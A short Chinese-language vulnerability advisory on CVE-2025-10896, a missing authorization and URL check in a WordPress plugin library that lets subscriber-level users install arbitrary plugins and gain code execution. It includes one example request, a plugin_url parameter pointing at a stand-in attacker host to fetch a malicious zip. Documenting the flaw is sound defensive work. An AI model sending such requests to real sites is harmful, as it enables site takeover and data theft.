CVE-2025-10896CVE-2025-10896是WordPress平台上一个严重的安全漏洞,存在于Jewel Theme推荐的插件库中。该漏洞允许已认证的攻击者(拥有订阅者级别权限及以上)通过构造恶意的插件URL,在目标WordPress站点上安装任意插件包。由于`*_recommended_upgrade_plugin`函数缺少必要的权限验证和URL校验,攻击者可以绕过安全限制上传包含恶意代码的插件文件。一旦攻击者成功上传插件,即可获得远程代码执行能力,完全控制受影响的网站。漏洞影响使用该插件库的所有WordPress插件,影响版本截止到1.0.2.3。此漏洞由Wordfence安全团队发现并报告,CVSS评分高达8.8,属于高危漏洞。
漏洞根源在于Recommended.php文件中的`*_recommended_upgrade_plugin`函数(第334行)和相关函数(第43行)缺少 capability checks(权限检查)。该函数允许通过URL参数指定要安装的插件地址,攻击者只需提供一个指向恶意插件包的URL,函数便会自动下载并安装该插件。具体来说:1) 函数直接使用传入的URL参数而未验证其来源和合法性;2) 缺少`current_user_can()`等权限验证,导致低权限用户也可调用;3) 未验证插件包的签名或来源可信度。攻击者可以构造形如`?plugin_url=http://attacker.com/malicious.zip`的请求,服务器会自动下载并激活该插件。Assets.php(第70行)相关代码可能也存在类似问题。攻击成功后,恶意插件获得完全执行权限,可执行任意PHP代码、访问数据库、窃取敏感信息等。